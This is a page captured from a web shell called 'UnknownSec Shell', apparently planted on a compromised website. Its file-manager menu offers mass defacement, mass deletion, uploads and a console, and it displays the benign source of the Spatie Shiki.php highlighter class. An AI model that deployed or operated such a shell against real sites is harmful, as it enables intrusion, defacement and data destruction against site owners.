shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolas.brannanatkinson.com
/
vendor
/
spatie
/
shiki-php
/
src
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
Shiki.php
<?php namespace Spatie\ShikiPhp; use Symfony\Component\Process\Exception\ProcessFailedException; use Symfony\Component\Process\ExecutableFinder; use Symfony\Component\Process\Process; class Shiki { protected string $defaultTheme; private static ?string $customWorkingDirPath = null; public static function setCustomWorkingDirPath(?string $path) { static::$customWorkingDirPath = $path; } public static function highlight( string $code, ?string $language = null, ?string $theme = null, ?array $highlightLines = null, ?array $addLines = null, ?array $deleteLines = null, ?array $focusLines = null ): string { $language = $language ?? 'php'; $theme = $theme ?? 'nord'; return (new static())->highlightCode($code, $language, $theme, [ 'highlightLines' => $highlightLines ?? [], 'addLines' => $addLines ?? [], 'deleteLines' => $deleteLines ?? [], 'focusLines' => $focusLines ?? [], ]); } public function __construct(string $defaultTheme = 'nord') { $this->defaultTheme = $defaultTheme; } public function highlightCode(string $code, string $language, ?string $theme = null, ?array $options = []): string { $theme = $theme ?? $this->defaultTheme; return $this->callShiki($code, $language, $theme, $options); } public function getWorkingDirPath(): string { if (static::$customWorkingDirPath !== null && ($path = realpath(static::$customWorkingDirPath)) !== false) { return $path; } return realpath(dirname(__DIR__) . '/bin'); } protected function callShiki(...$arguments): string { $home = getenv("HOME"); $command = [ (new ExecutableFinder())->find('node', 'node', [ '/usr/local/bin', '/opt/homebrew/bin', $home . '/n/bin', // support https://github.com/tj/n ]), 'shiki.js', json_encode(array_values($arguments)), ]; $process = new Process( $command, $this->getWorkingDirPath(), null, ); $process->run(); if (! $process->isSuccessful()) { throw new ProcessFailedException($process); } return $process->getOutput(); } }
© 2026 UnknownSec